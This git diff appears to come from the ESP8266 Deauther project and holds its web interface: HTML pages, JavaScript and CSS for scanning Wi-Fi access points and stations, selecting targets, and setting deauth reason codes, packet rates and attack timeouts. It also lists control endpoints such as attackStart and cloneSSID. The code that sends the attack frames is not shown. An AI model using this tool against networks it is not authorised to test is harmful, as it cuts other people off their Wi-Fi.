||||
}
|
||||
|
||||
getResponse("ClientScanTime.json", function(responseText) {
|
||||
scanTime.value = responseText;
|
||||
});
|
||||
|
||||
getResults();
|
||||
toggleBtn(false);
|
|
@ -0,0 +1,177 @@
|
|||
<!Doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>ESP8266 Deauther</title>
|
||||
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<script src="js/functions.js"></script>
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="apscan.html">APs</a>
|
||||
<a href="stations.html">Stations</a>
|
||||
<a href="attack.html">Attacks</a>
|
||||
<a href="settings.html">Settings</a>
|
||||
<a class="right" href="info.html">Info</a>
|
||||
</nav>
|
||||
<div id="error"></div>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h1 class="header">Settings</h1>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h2>Wi-Fi</h2>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="ssid">SSID</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="text" id="ssid" minlength="1" maxlength="32">
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="ssidHidden">Hide SSID</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="checkbox" name="ssidHidden" id="ssidHidden" value="false">
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="password">Password (min.8 chars)</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="text" id="password" minlength="8" maxlength="32">
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="apChannel">Channel</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="number" id="apChannel" min="1" max="14">
|
||||
</div>
|
||||
</div>
|
||||
<br />
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h2>AP Scan</h2>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="apScanHidden">Scan Hidden APs</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="checkbox" name="apScanHidden" id="apScanHidden" value="false">
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="multiAPs">Select multiple SSIDs</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="checkbox" name="multiAPs" id="multiAPs" value="false">
|
||||
</div>
|
||||
</div>
|
||||
<br />
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h2>Station Scan</h2>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="scanTime">Default Scan Time</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="number" id="scanTime" min="1" max="255"> s
|
||||
</div>
|
||||
</div>
|
||||
<br />
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h2>Attack</h2>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="timeout">Timeout</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="number" id="timeout" min="-1" max="65536"> s
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="ssidEnc">WPA2 Beacons</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="checkbox" name="ssidEnc" id="ssidEnc" value="false">
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="useLed">Use LED</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="checkbox" name="useLed" id="useLed" value="false">
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="deauthReason">Deauth Reason-Code</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="number" id="deauthReason" min="1" max="45">
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="packetRate">Packetrate (<span class="red">may cause instability!</span>)</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="number" id="packetRate" min="1" max="50"> pkts/s
|
||||
</div>
|
||||
</div>
|
||||
<!--
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="channelHop">Channel Hopping</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="checkbox" name="channelHop" id="channelHop" value="false">
|
||||
</div>
|
||||
</div>
|
||||
-->
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<br />
|
||||
<button class="button-warn" onclick="resetSettings()">reset</button>
|
||||
<button class="button-warn" onclick="restart()">restart</button>
|
||||
<button class="button-primary right" onclick="saveSettings()">save</button>
|
||||
<br class="clear" />
|
||||
<p id="saved"></p>
|
||||
<br class="clear" />
|
||||
|
||||
<div id="copyright">
|
||||
version 1.4<br />
|
||||
Copyright (c) 2017 Stefan Kremser<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||
</div>
|
||||
|
||||
<script src="js/settings.js"></script>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,70 @@
|
|||
<!Doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>ESP8266 Deauther</title>
|
||||
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<script src="js/functions.js"></script>
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="apscan.html">APs</a>
|
||||
<a href="stations.html">Stations</a>
|
||||
<a href="attack.html">Attacks</a>
|
||||
<a href="settings.html">Settings</a>
|
||||
<a class="right" href="info.html">Info</a>
|
||||
</nav>
|
||||
<div id="error"></div>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h1 class="header">Scan for Wi-Fi Stations</h1>
|
||||
|
||||
<label for="scanTime">Scan time:</label>
|
||||
<input type="number" id="scanTime" value="10">s
|
||||
|
||||
<button onclick="scan()" id="startScan" class="right button-primary">start</button>
|
||||
<a id="clientScanStatus" class="right padding">scanning...</a>
|
||||
<br />
|
||||
<p class="warn">The access point will be unavailable while scanning and you may have to reconnect!<p>
|
||||
<p>Client devices found: <span id="clientsFound">0</span></p>
|
||||
<br />
|
||||
<table></table>
|
||||
|
||||
<p class="block bold" >Saved clients: <span id="clientNames"></span></p>
|
||||
<table id="nameList"></table>
|
||||
|
||||
<button class="button-warn left" onclick="clearNameList()">clear</button>
|
||||
<br class="clear" />
|
||||
<p>Add client:</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-4">
|
||||
<label>MAC <input type="text" placeholder="AA:BB:CC:DD:EE:FF" id="cMac"/></label>
|
||||
</div>
|
||||
<div class="col-4">
|
||||
<label>Name <input type="text" placeholder="EXAMPLE" id="cName"/></label>
|
||||
</div>
|
||||
<div class="col-4">
|
||||
<button class="button-primary" onclick="addClient()">add</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<div id="copyright">
|
||||
version 1.4<br />
|
||||
Copyright (c) 2017 Stefan Kremser<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||
</div>
|
||||
|
||||
<script src="js/stations.js"></script>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,392 @@
|
|||
/* Global */
|
||||
.header{
|
||||
font-size: 1.6rem;
|
||||
background: #00B0FF;
|
||||
color: #fff;
|
||||
padding:0.2rem;
|
||||
border-radius:4px;
|
||||
margin-top: 0;
|
||||
}
|
||||
nav,
|
||||
nav a{
|
||||
background: #222;
|
||||
}
|
||||
nav a{
|
||||
color: #999;
|
||||
padding: .5em;
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
}
|
||||
nav a:hover{
|
||||
background: #000;
|
||||
color:#f0f0f0;
|
||||
}
|
||||
meter{
|
||||
width: 45px;
|
||||
}
|
||||
h2{
|
||||
font-size: 1.5rem;
|
||||
border-bottom: 1px solid #A5A5A5;
|
||||
margin: 0;
|
||||
}
|
||||
table{
|
||||
width: 100%;
|
||||
text-align:center;
|
||||
border: none;
|
||||
border-collapse: collapse;
|
||||
}
|
||||
td{
|
||||
font-weight: normal;
|
||||
font-size: 0.85em;
|
||||
}
|
||||
.bottom-border{
|
||||
border-bottom: 1px solid #c3c3c3;
|
||||
}
|
||||
.selected{
|
||||
background: #00B0FF;
|
||||
}
|
||||
.left{
|
||||
float: left;
|
||||
}
|
||||
.right{
|
||||
float: right;
|
||||
}
|
||||
.bold{
|
||||
font-weight: bold;
|
||||
}
|
||||
.clear{
|
||||
clear: both;
|
||||
}
|
||||
.warn{
|
||||
font-weight: bold;
|
||||
color: #f00;
|
||||
}
|
||||
.middle{
|
||||
text-align: center;
|
||||
}
|
||||
.red{
|
||||
color:#f00;
|
||||
}
|
||||
.green{
|
||||
color:#1ecb1e;
|
||||
}
|
||||
.padding{
|
||||
padding: 0 1rem;
|
||||
}
|
||||
#error{
|
||||
text-align: center;
|
||||
color: #fff;
|
||||
background: #f00;
|
||||
}
|
||||
#copyright{
|
||||
text-align: center;
|
||||
margin-top: 3em;
|
||||
margin-bottom: 3em;
|
||||
}
|
||||
.selectedBtn{
|
||||
background: #fff;
|
||||
}
|
||||
a{
|
||||
color: #39C2FF;
|
||||
cursor: pointer;
|
||||
}
|
||||
input{
|
||||
border-radius: 4px;
|
||||
border: 1px solid #bbb;
|
||||
padding: 3px;
|
||||
}
|
||||
.button,
|
||||
button,
|
||||
input[type="submit"],
|
||||
input[type="reset"],
|
||||
input[type="button"] {
|
||||
padding: 0 6px;
|
||||
display: inline-block;
|
||||
height: 31px;
|
||||
color: #555;
|
||||
text-align: center;
|
||||
font-size: 11px;
|
||||
font-weight: 600;
|
||||
line-height: 30px;
|
||||
letter-spacing: .1rem;
|
||||
text-transform: uppercase;
|
||||
text-decoration: none;
|
||||
white-space: nowrap;
|
||||
background-color: transparent;
|
||||
border-radius: 4px;
|
||||
border: 1px solid #bbb;
|
||||
cursor: pointer;
|
||||
box-sizing: border-box; }
|
||||
.button:hover,
|
||||
button:hover,
|
||||
input[type="submit"]:hover,
|
||||
input[type="reset"]:hover,
|
||||
input[type="button"]:hover{
|
||||
color: #333;
|
||||
border-color: #888;
|
||||
outline: 0;
|
||||
}
|
||||
.button-primary{
|
||||
color: #FFF;
|
||||
background-color: #33C3F0;
|
||||
border-color: #33C3F0;
|
||||
}
|
||||
.button-primary:hover {
|
||||
color: #FFF;
|
||||
background-color: #1EAEDB;
|
||||
border-color: #1EAEDB;
|
||||
}
|
||||
.button-warn{
|
||||
background: #f00;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
/**
|
||||
*** SIMPLE GRID
|
||||
*** (C) ZACH COLE 2016
|
||||
**/
|
||||
|
||||
/*@import url(https://fonts.googleapis.com/css?family=Lato:400,300,300italic,400italic,700,700italic);*/
|
||||
/* UNIVERSAL */
|
||||
|
||||
html,
|
||||
body {
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
left: 0;
|
||||
top: 0;
|
||||
font-size: 100%;
|
||||
}
|
||||
|
||||
/* ROOT FONT STYLES */
|
||||
|
||||
* {
|
||||
font-family: /*'Lato',*/ Helvetica, sans-serif;
|
||||
color: #333447;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
/* TYPOGRAPHY */
|
||||
|
||||
h1 {
|
||||
font-size: 2.5rem;
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 2rem;
|
||||
}
|
||||
|
||||
h3 {
|
||||
font-size: 1.375rem;
|
||||
}
|
||||
|
||||
h4 {
|
||||
font-size: 1.125rem;
|
||||
}
|
||||
|
||||
h5 {
|
||||
font-size: 1rem;
|
||||
}
|
||||
|
||||
h6 {
|
||||
font-size: 0.875rem;
|
||||
}
|
||||
|
||||
p {
|
||||
/*font-size: 1.125rem;*/
|
||||
font-weight: 200;
|
||||
/*line-height: 1.8;*/
|
||||
}
|
||||
|
||||
.font-light {
|
||||
font-weight: 300;
|
||||
}
|
||||
|
||||
.font-regular {
|
||||
font-weight: 400;
|
||||
}
|
||||
|
||||
.font-heavy {
|
||||
font-weight: 700;
|
||||
}
|
||||
|
||||
/* POSITIONING */
|
||||
|
||||
.left {
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.right {
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.center {
|
||||
text-align: center;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
}
|
||||
|
||||
.justify {
|
||||
text-align: justify;
|
||||
}
|
||||
|
||||
/* ==== GRID SYSTEM ==== */
|
||||
|
||||
.container {
|
||||
width: 100%;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
}
|
||||
|
||||
.row {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.row [class^="col"] {
|
||||
float: left;
|
||||
margin: 0.5rem 2%;
|
||||
min-height: 0.125rem;
|
||||
}
|
||||
|
||||
.col-1,
|
||||
.col-2,
|
||||
.col-3,
|
||||
.col-4,
|
||||
.col-5,
|
||||
.col-6,
|
||||
.col-7,
|
||||
.col-8,
|
||||
.col-9,
|
||||
.col-10,
|
||||
.col-11,
|
||||
.col-12 {
|
||||
width: 96%;
|
||||
}
|
||||
|
||||
.col-1-sm {
|
||||
width: 4.33%;
|
||||
}
|
||||
|
||||
.col-2-sm {
|
||||
width: 12.66%;
|
||||
}
|
||||
|
||||
.col-3-sm {
|
||||
width: 21%;
|
||||
}
|
||||
|
||||
.col-4-sm {
|
||||
width: 29.33%;
|
||||
}
|
||||
|
||||
.col-5-sm {
|
||||
width: 37.66%;
|
||||
}
|
||||
|
||||
.col-6-sm {
|
||||
width: 46%;
|
||||
}
|
||||
|
||||
.col-7-sm {
|
||||
width: 54.33%;
|
||||
}
|
||||
|
||||
.col-8-sm {
|
||||
width: 62.66%;
|
||||
}
|
||||
|
||||
.col-9-sm {
|
||||
width: 71%;
|
||||
}
|
||||
|
||||
.col-10-sm {
|
||||
width: 79.33%;
|
||||
}
|
||||
|
||||
.col-11-sm {
|
||||
width: 87.66%;
|
||||
}
|
||||
|
||||
.col-12-sm {
|
||||
width: 96%;
|
||||
}
|
||||
|
||||
.row::after {
|
||||
content: "";
|
||||
display: table;
|
||||
clear: both;
|
||||
}
|
||||
|
||||
.hidden-sm {
|
||||
display: none;
|
||||
}
|
||||
|
||||
@media only screen and (min-width: 33.75em) { /* 540px */
|
||||
.container {
|
||||
width: 85%;
|
||||
}
|
||||
}
|
||||
|
||||
@media only screen and (min-width: 45em) { /* 720px */
|
||||
.col-1 {
|
||||
width: 4.33%;
|
||||
}
|
||||
|
||||
.col-2 {
|
||||
width: 12.66%;
|
||||
}
|
||||
|
||||
.col-3 {
|
||||
width: 21%;
|
||||
}
|
||||
|
||||
.col-4 {
|
||||
width: 29.33%;
|
||||
}
|
||||
|
||||
.col-5 {
|
||||
width: 37.66%;
|
||||
}
|
||||
|
||||
.col-6 {
|
||||
width: 46%;
|
||||
}
|
||||
|
||||
.col-7 {
|
||||
width: 54.33%;
|
||||
}
|
||||
|
||||
.col-8 {
|
||||
width: 62.66%;
|
||||
}
|
||||
|
||||
.col-9 {
|
||||
width: 71%;
|
||||
}
|
||||
|
||||
.col-10 {
|
||||
width: 79.33%;
|
||||
}
|
||||
|
||||
.col-11 {
|
||||
width: 87.66%;
|
||||
}
|
||||
|
||||
.col-12 {
|
||||
width: 96%;
|
||||
}
|
||||
|
||||
.hidden-sm {
|
||||
display: block;
|
||||
}
|
||||
}
|
||||
|
||||
@media only screen and (min-width: 60em) { /* 960px */
|
||||
.container {
|
||||
width: 80%;
|
||||
max-width: 60rem;
|
||||
}
|
||||
}
|
|
@ -1,49 +0,0 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<link rel="stylesheet" href="style.css">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=0.8">
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="/">APs</a>
|
||||
<a href="clients">Clients</a>
|
||||
<a href="attack">Attack</a>
|
||||
<a href="settings">Settings</a>
|
||||
<ul class="nav right">
|
||||
<a href="#" onclick="restartESP()">Restart</a>
|
||||
<ul>
|
||||
</nav>
|
||||
<div id="content">
|
||||
<h1>Scan for WiFi access points</h1>
|
||||
|
||||
<button onclick="scan()" id="apScanStart">scan</button>
|
||||
<a id="scanInfo">scanning...</a>
|
||||
|
||||
<p class="block bold" id="networksFound">Networks found: 0</p>
|
||||
<p class="small">
|
||||
MAC: <span id="apMAC"></span>
|
||||
</p>
|
||||
<br />
|
||||
|
||||
</div>
|
||||
|
||||
<table>
|
||||
</table>
|
||||
<p class="small" id="wpa_info">
|
||||
<br />
|
||||
WPA* = WPA/WPA2 auto mode
|
||||
<br>
|
||||
continuous scan: <button onclick="startConScan()" id="startStopScan">start</button>
|
||||
</p>
|
||||
<script src="js/functions.js"></script>
|
||||
<script src="js/index.js"></script>
|
||||
<div id="copyright">
|
||||
Copyright 2017 Stefan Kremser<br />
|
||||
<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||
<a href="https://twitter.com/spacehuhn" target="_blank">twitter.com/spacehuhn</a><br />
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
|
@ -1,98 +0,0 @@
|
|||
var table = document.getElementsByTagName('table')[0];
|
||||
var scanBtn = document.getElementById("startScan");
|
||||
var scanTime = document.getElementById("scanTime");
|
||||
var clientsFound = document.getElementById("clientsFound");
|
||||
var scanStatus = document.getElementById("clientScanStatus");
|
||||
|
||||
var res;
|
||||
|
||||
function compare(a, b) {
|
||||
if (a.p > b.p) return -1;
|
||||
if (a.p < b.p) return 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
function toggleBtn(onoff) {
|
||||
if (onoff) {
|
||||
scanBtn.style.visibility = 'visible';
|
||||
} else {
|
||||
scanBtn.style.visibility = 'hidden';
|
||||
}
|
||||
}
|
||||
|
||||
function getResults(reload) {
|
||||
if (reload == undefined) {
|
||||
reload = false;
|
||||
}
|
||||
getResponse("ClientScanResults.json", function(responseText) {
|
||||
res = JSON.parse(responseText);
|
||||
res.clients = res.clients.sort(compare);
|
||||
|
||||
clientsFound.innerHTML = "Client devices found: " + res.clients.length;
|
||||
|
||||
var tr = '';
|
||||
if (res.clients.length > 0) tr += '<tr><th>Pkts</th><th>Vendor</th><th>Name</th><th>MAC</th><th>AP</th><th>Select</th></tr>';
|
||||
|
||||
for (var i = 0; i < res.clients.length; i++) {
|
||||
|
||||
if (res.clients[i].s == 1) tr += '<tr class="selected">';
|
||||
else tr += '<tr>';
|
||||
tr += '<td>' + res.clients[i].p + '</td>';
|
||||
tr += '<td>' + res.clients[i].v + '</td>';
|
||||
tr += '<td>' + res.clients[i].n + ' <a class="blue" onclick="changeName(' + res.clients[i].i + ')">edit</a></td>';
|
||||
tr += '<td>' + res.clients[i].m + '</td>';
|
||||
tr += '<td>' + res.clients[i].a + '</td>';
|
||||
|
||||
if (res.clients[i].s == 1) tr += '<td><button class="marginNull selectedBtn" onclick="select(' + res.clients[i].i + ')">deselect</button></td>';
|
||||
else tr += '<td><button class="marginNull" onclick="select(' + res.clients[i].i + ')">select</button></td>';
|
||||
|
||||
tr += '</tr>';
|
||||
}
|
||||
table.innerHTML = tr;
|
||||
toggleBtn(true);
|
||||
scanStatus.innerHTML = "";
|
||||
|
||||
if (reload == true) location.reload();
|
||||
|
||||
}, function() {
|
||||
location.reload();
|
||||
}, 6000);
|
||||
|
||||
}
|
||||
|
||||
function scan() {
|
||||
getResponse("ClientScan.json?time=" + scanTime.value, function(responseText) {
|
||||
if (responseText == "true") {
|
||||
scanStatus.innerHTML = "scanning...";
|
||||
toggleBtn(false);
|
||||
setTimeout(function() {
|
||||
scanStatus.innerHTML = "reconnecting...";
|
||||
getResults(true);
|
||||
}, scanTime.value * 1000);
|
||||
}
|
||||
else alert(responseText);
|
||||
});
|
||||
}
|
||||
|
||||
function select(num) {
|
||||
getResponse("clientSelect.json?num=" + num, function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else alert("error :/");
|
||||
});
|
||||
}
|
||||
|
||||
function changeName(id) {
|
||||
var newName = prompt("Name for " + res.clients[id].m);
|
||||
if (newName != null) {
|
||||
getResponse("setName.json?id=" + id + "&name=" + newName, function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else alert("error");
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
getResponse("ClientScanTime.json", function(responseText) {
|
||||
scanTime.value = responseText;
|
||||
});
|
||||
|
||||
getResults();
|
|
@ -1,28 +0,0 @@
|
|||
function getResponse(adr, callback, timeoutCallback, timeout){
|
||||
if(timeoutCallback === undefined) {
|
||||
timeoutCallback = function(){
|
||||
location.reload()
|
||||
};
|
||||
}
|
||||
if(timeout === undefined) {
|
||||
timeout = 8000;
|
||||
}
|
||||
var xmlhttp = new XMLHttpRequest();
|
||||
xmlhttp.onreadystatechange = function() {
|
||||
if(xmlhttp.readyState == 4){
|
||||
if(xmlhttp.status == 200) callback(xmlhttp.responseText);
|
||||
else timeoutCallback();
|
||||
}
|
||||
};
|
||||
xmlhttp.open("GET", adr, true);
|
||||
xmlhttp.send();
|
||||
xmlhttp.timeout = timeout;
|
||||
xmlhttp.ontimeout = timeoutCallback;
|
||||
}
|
||||
|
||||
function restartESP() {
|
||||
getResponse("restartESP.json", function(responseText) {
|
||||
if (responseText == "true") getData();
|
||||
else alert("error");
|
||||
});
|
||||
}
|
|
@ -1,114 +0,0 @@
|
|||
var nameListTable = document.getElementById('nameList');
|
||||
var ssid = document.getElementById('ssid');
|
||||
var ssidHidden = document.getElementById('ssidHidden');
|
||||
var password = document.getElementById('password');
|
||||
var apChannel = document.getElementById('apChannel');
|
||||
var apScanHidden = document.getElementById('apScanHidden');
|
||||
var scanTime = document.getElementById('scanTime');
|
||||
var timeout = document.getElementById('timeout');
|
||||
var deauthReason = document.getElementById('deauthReason');
|
||||
var packetRate = document.getElementById('packetRate');
|
||||
var saved = document.getElementById('saved');
|
||||
var clientNames = document.getElementById('clientNames');
|
||||
var ssidEnc = document.getElementById('ssidEnc');
|
||||
var useLed = document.getElementById('useLed');
|
||||
var channelHop = document.getElementById('channelHop');
|
||||
var res;
|
||||
|
||||
function getData() {
|
||||
getResponse("settings.json", function(responseText) {
|
||||
res = JSON.parse(responseText);
|
||||
|
||||
ssid.value = res.ssid;
|
||||
ssidHidden.checked = res.ssidHidden;
|
||||
password.value = res.password;
|
||||
apChannel.value = res.apChannel;
|
||||
apScanHidden.checked = res.apScanHidden;
|
||||
scanTime.value = res.clientScanTime;
|
||||
timeout.value = res.attackTimeout;
|
||||
deauthReason.value = res.deauthReason;
|
||||
packetRate.value = res.attackPacketRate;
|
||||
ssidEnc.checked = res.attackEncrypted;
|
||||
useLed.checked = res.useLed;
|
||||
channelHop.checked = res.channelHop;
|
||||
|
||||
|
||||
clientNames.innerHTML = "Client Names " + res.nameList.length + "/50";
|
||||
|
||||
var tr = '<tr><th>MAC</th><th>Vendor</th><th>Name</th><th>X</th></tr>';
|
||||
|
||||
for (var i = 0; i < res.nameList.length; i++) {
|
||||
|
||||
tr += '<tr>';
|
||||
tr += '<td>' + res.nameList[i].m + '</td>';
|
||||
tr += '<td>' + res.nameList[i].v + '</td>';
|
||||
tr += '<td>' + res.nameList[i].n + ' <a class="blue" onclick="changeName(' + i + ')">edit</a></td>';
|
||||
tr += '<td><button class="marginNull warnBtn" onclick="deleteName(' + i + ')">x</button></td>';
|
||||
|
||||
tr += '</tr>';
|
||||
}
|
||||
|
||||
nameListTable.innerHTML = tr;
|
||||
});
|
||||
}
|
||||
|
||||
function changeName(id) {
|
||||
var newName = prompt("Name for " + res.nameList[id].m);
|
||||
if (newName != null) {
|
||||
getResponse("editNameList.json?id=" + id + "&name=" + newName, function(responseText) {
|
||||
if (responseText == "true") getData();
|
||||
else alert("error");
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
function deleteName(id) {
|
||||
getResponse("deleteName.json?num=" + id, function(responseText) {
|
||||
if (responseText == "true") getData();
|
||||
else alert("error");
|
||||
});
|
||||
}
|
||||
|
||||
function saveSettings() {
|
||||
saved.innerHTML = "saving...";
|
||||
var url = "settingsSave.json";
|
||||
url += "?ssid=" + ssid.value;
|
||||
url += "&ssidHidden=" + ssidHidden.checked;
|
||||
url += "&password=" + password.value;
|
||||
url += "&apChannel=" + apChannel.value;
|
||||
url += "&apScanHidden=" + apScanHidden.checked;
|
||||
url += "&scanTime=" + scanTime.value;
|
||||
url += "&timeout=" + timeout.value;
|
||||
url += "&deauthReason=" + deauthReason.value;
|
||||
url += "&packetRate=" + packetRate.value;
|
||||
url += "&ssidEnc=" + ssidEnc.checked;
|
||||
url += "&useLed=" + useLed.checked;
|
||||
url += "&channelHop=" + channelHop.checked;
|
||||
|
||||
getResponse(url, function(responseText) {
|
||||
if (responseText == "true") {
|
||||
getData();
|
||||
saved.innerHTML = "saved";
|
||||
}
|
||||
else alert("error");
|
||||
});
|
||||
}
|
||||
|
||||
function resetSettings() {
|
||||
getResponse("settingsReset.json", function(responseText) {
|
||||
if (responseText == "true") {
|
||||
getData();
|
||||
saved.innerHTML = "saved";
|
||||
}
|
||||
else alert("error");
|
||||
});
|
||||
}
|
||||
|
||||
function clearNameList() {
|
||||
getResponse("clearNameList.json", function(responseText) {
|
||||
if (responseText == "true") getData();
|
||||
else alert("error");
|
||||
});
|
||||
}
|
||||
|
||||
getData();
|
|
@ -1,38 +0,0 @@
|
|||
{
|
||||
"sites":[
|
||||
"error404.html",
|
||||
"style.css",
|
||||
"functions.js",
|
||||
"index.html",
|
||||
"clients.html",
|
||||
"attack.html",
|
||||
"settings.html"
|
||||
],
|
||||
"json":[
|
||||
"APScanResults.json",
|
||||
"ClientScanResults.json",
|
||||
"settings.json",
|
||||
"attackInfo.json"
|
||||
],
|
||||
"commands":[
|
||||
"APScan.json",
|
||||
"APSelect.json",
|
||||
"ClientScan.json",
|
||||
"ClientScanTime.json",
|
||||
"clientSelect.json",
|
||||
"setName.json",
|
||||
"attackStart.json",
|
||||
"settingsSave.json",
|
||||
"settingsReset.json",
|
||||
"deleteName.json",
|
||||
"clearNameList.json",
|
||||
"editNameList.json",
|
||||
"addSSID.json",
|
||||
"cloneSSID.json",
|
||||
"deleteSSID.json",
|
||||
"randomSSID.json",
|
||||
"clearSSID.json",
|
||||
"resetSSID.json",
|
||||
"saveSSID.json"
|
||||
]
|
||||
}
|
|
@ -1,16 +1,17 @@
|
|||
<html>
|
||||
<head>
|
||||
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
|
||||
<script src="jquery.js"></script>
|
||||
<script>
|
||||
|
||||
function miniEsc(){
|
||||
var input = $('#input').val().replace(/\r\n|\r|\n/g," ").replace( /\s\s+/g, ' ' ).replace(/"/g, '\\"' );
|
||||
var input = $('#input').val().replace(/\/\*(\*(?!\/)|[^*])*\*\//g, '').replace(/\r\n|\r|\n/g," ").replace( /\s\s+/g, ' ' ).replace(/"/g, '\\"' );
|
||||
$('#output').val(input);
|
||||
$('#info1').html($('#input').val().length);
|
||||
$('#info2').html(input.length);
|
||||
}
|
||||
|
||||
function mini(){
|
||||
var input = $('#input').val().replace(/\r\n|\r|\n/g," ").replace( /\s\s+/g, ' ' );
|
||||
var input = $('#input').val().replace(/\/\*(\*(?!\/)|[^*])*\*\//g, '').replace(/\r\n|\r|\n/g," ").replace( /\s\s+/g, ' ' );
|
||||
$('#output').val(input);
|
||||
$('#info1').html($('#input').val().length);
|
||||
$('#info2').html(input.length);
|
||||
|
@ -30,7 +31,7 @@
|
|||
}
|
||||
|
||||
function byteAndmini(){
|
||||
var input = "0x"+$('#input').val().replace(/\r\n|\r|\n/g," ").replace( /\s\s+/g, ' ' ).convertToHex(",0x");;
|
||||
var input = "0x"+$('#input').val().replace(/\/\*(\*(?!\/)|[^*])*\*\//g, '').replace(/\r\n|\r|\n/g," ").replace( /\s\s+/g, ' ' ).convertToHex(",0x");
|
||||
$('#output').val(input);
|
||||
$('#info1').html($('#input').val().length);
|
||||
$('#info2').html(input.length);
|
||||
|
|
|
@ -1,105 +0,0 @@
|
|||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<link rel="stylesheet" href="style.css">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=0.8">
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="/">APs</a>
|
||||
<a href="clients">Clients</a>
|
||||
<a href="attack">Attack</a>
|
||||
<a href="settings">Settings</a>
|
||||
<ul class="right">
|
||||
<a href="#" onclick="restartESP()">Restart</a>
|
||||
<ul>
|
||||
</nav>
|
||||
<div id="content">
|
||||
<h1>Settings</h1>
|
||||
|
||||
<p class="block bold">WiFi</p>
|
||||
